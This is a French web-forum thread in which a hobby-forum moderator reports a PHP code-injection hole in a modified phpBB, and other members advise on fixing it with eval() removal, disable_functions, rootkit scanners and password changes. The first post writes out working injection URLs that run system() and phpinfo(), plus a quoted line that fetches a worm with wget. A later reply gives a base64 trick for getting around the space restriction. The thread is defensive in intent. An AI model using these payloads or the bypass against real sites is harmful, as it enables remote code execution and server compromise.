IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Problème de Php code injection


Sujet :

Langage PHP

  1. #1
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut Problème de Php code injection
    Bonjour,


    Pour vous placer rapidement le contexte, je suis passé modérateur sur un forum qui parle modélisme.

    Développeur C# de métier, je me suis un peu intéressé au forum en question qui n'est plus maintenu depuis un moment.

    Le problème est que j'ai trouvé une faille d'injection de code php.
    En injectant le code php comme ceci je vois le listing des fichiers dans le répertoire courant:
    http://blabbla.fr?ref=dsqds567dsq'{${system(ls)}}
    comme ceci je vois tous les infos php
    http://blabbla.fr?ref=dsqds567dsq'{${phpinfo(INFO_ALL)}}

    Jusque là ce n'est pas trop grave je pense puisque je n'arrive pas à placer des espaces.
    http://blabbla.fr?ref=dsqds567dsq'{${system(ls /etc/)}}
    http://blabbla.fr?ref=dsqds567dsq'{${system(ls%20/etc/)}}
    ne fonctionnent pas.

    C'est là ou je demande votre aide, est-ce grave en l'état? Quelles commandes pourrait être dangereuse?
    j'ai vu sur le net que beaucoup font des
    http://blabbla.fr?ref=dsqds567dsq'{${system(wget%20http://monworm)}}
    Il y a-t-il un moyen que je connais pas pour que l'espace soit correctement reconnu ?


    J'y connais rien en PHP, je vous demande votre avis, ca m'éviterai de me plonger dans ce code pour corriger ca.


    Merci d'avance!

  2. #2
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Plutot qu'un problème d'espace, j'espere que c'est un problème de droits.
    Enfin pouvoir lister des fichiers c'est déjà assez catastrophique je trouve. Quel forum moisi permet ça ?

  3. #3
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    Tu comprendras que je ne préfère pas divulguer l'adresse du forum avant d'avoir corriger le problème.

    Le forum c'est un phpBB traficoté sinon.

  4. #4
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Je parlais du moteur de forum, pas du site
    soit c'est une très vieille version de PHPbb soit il a été mochement trafiqué effectivement.

  5. #5
    Membre émérite

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Points : 2 440
    Points
    2 440
    Par défaut
    Je m'étonne quand même qu'une version même ancienne de phpBB permette ce genre d'injection.

    Regarde s'il y a des correctifs pour cette version de phpBB. S'il n'y en a pas, ou si le forum est trop modifié pour que tu puisses les appliquer (*), tu es mal. Dans ce cas, si tu es dans un serveur dédié ou un VPS il y a peut-être des palliatifs (qui ne corrigeront pas la totalité du problème). Mais si en plus tu es sur un mutualisé sans possibilité de modifier la configuration de PHP ou d'installer un module apache, je ne vois pas de solution.

    Ou alors installe une version plus récente de phpBB...


    (*) À tous les débutants (et non-débutants): NE JAMAIS MODIFIER LE CORE D'UNE APPLICATION! Passez toujours par un plugin, module, extension, bibliothèque, etc...

    Et si ça se trouve ton site est déjà compromis depuis des années :-(

  6. #6
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    On a un serveur dédié.

    Concernant la faille elle se trouve sur un bout de code php permettant de lire une video youtube. Aucune idée si il s'agit d'un bidouillage, d'un plugin, ou d'une fonction native phpBB.

    N'y connaissant rien et ne connaissant pas l'impacte du bidouillage, je vais dans un premier temps récupéré tous ca sur un autre poste, et tester la MAJ phpBB.


    Sinon, j'ai testé a peu près toutes les commandes que j'ai pu trouver ici : http://doc.ubuntu-fr.org/tutoriel/co...mandes_de_base
    Si pas possibilité d'insérer des espaces, la marche de manoeuvre est quand meme limité je trouve.

  7. #7
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Pouvoir supprimer ou modifier les fichiers je trouve ça déjà pas mal non ?

    De toute façon, je ne vois pas trop ce qui justifie l'utilisation d'eval (puisqu'il doit s'agir de ça).
    Est-ce que ton forum ne serait pas déjà compromis par un code malveillant placé là ?

    Comment t'es venu l'idée de tester une syntaxe pareille ?

  8. #8
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    Je ne sais pas supprimer ou modifier des fichiers ! En tout cas je ne vois pas comment faire si je ne peut pas utiliser d'espace.


    Concernant la syntaxe, on a au boulot un outil qui s'appelle Burp. Par curiosité je l'ai passé sur le forum

  9. #9
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Trouve le code qui utilise la fonction eval() et on verra mieux pourquoi elle a pu être utilisée.

  10. #10
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    Ok merci, je vais regarder cà !

  11. #11
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    Si quelqu'un rencontrait le même souci et pour répondre à une de mes questions.

    Un mec chez un de mes clients m'a dit que les espaces n'étaient pas un problème.

    Il suffit de tout encoder en base 64 et de placer la chaîne dans la fonction base64_dec.

    Je regarde le code ce week end, je pense que la fonction est peu utilisée. Si c'est bien le cas, ça sera poubelle.

  12. #12
    Membre émérite

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Points : 2 440
    Points
    2 440
    Par défaut
    Si tu arrives à injecter "system" avec succès, c'est extrêmement grave. Ça veut dire que tout est permis. Une solution de secours pour corriger temporairement le problème serait d'utiliser la directive disable_functions dans le php.ini pour bloquer les fonctions listées ici.

    Bien évidemment, si le serveur est compromis, ça n'ira pas. Scanne ton serveur avec un détecteur de rootkit et autres malwares. Change tous les mots de passes / clés du serveur, et les mots de passes admin du forum.

    Fais un find/grep pour trouver les fichiers ayant pour contenu base64_encode ou eval.

  13. #13
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Décembre 2006
    Messages
    93
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2006
    Messages : 93
    Points : 36
    Points
    36
    Par défaut
    Merci beaucoup pour ces précisions !


    Vous me conseillez quoi comme détecteur de rootkit/malware?

  14. #14
    Membre émérite

    Profil pro
    Inscrit en
    Mai 2008
    Messages
    1 576
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 1 576
    Points : 2 440
    Points
    2 440
    Par défaut
    Rootkit hunter et chkrootkit sont les 2 que nous utilisons.

    Tu trouveras d'autres détecteurs de rootkit également sur cette page.

Discussions similaires

  1. Problème execution de code PHP
    Par westbam dans le forum Apache
    Réponses: 3
    Dernier message: 04/11/2009, 23h36
  2. [MySQL] Problème dans mon code entre une recherche mysql et en php
    Par pasbonte dans le forum PHP & Base de données
    Réponses: 4
    Dernier message: 27/12/2008, 15h04
  3. [Système] problème d'exécution code php
    Par QuenTinO dans le forum Langage
    Réponses: 1
    Dernier message: 24/04/2007, 12h50
  4. Réponses: 1
    Dernier message: 24/01/2007, 14h34
  5. [MySQL] Un problème dans le code PHP
    Par jack_1981 dans le forum PHP & Base de données
    Réponses: 3
    Dernier message: 31/07/2006, 12h06

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo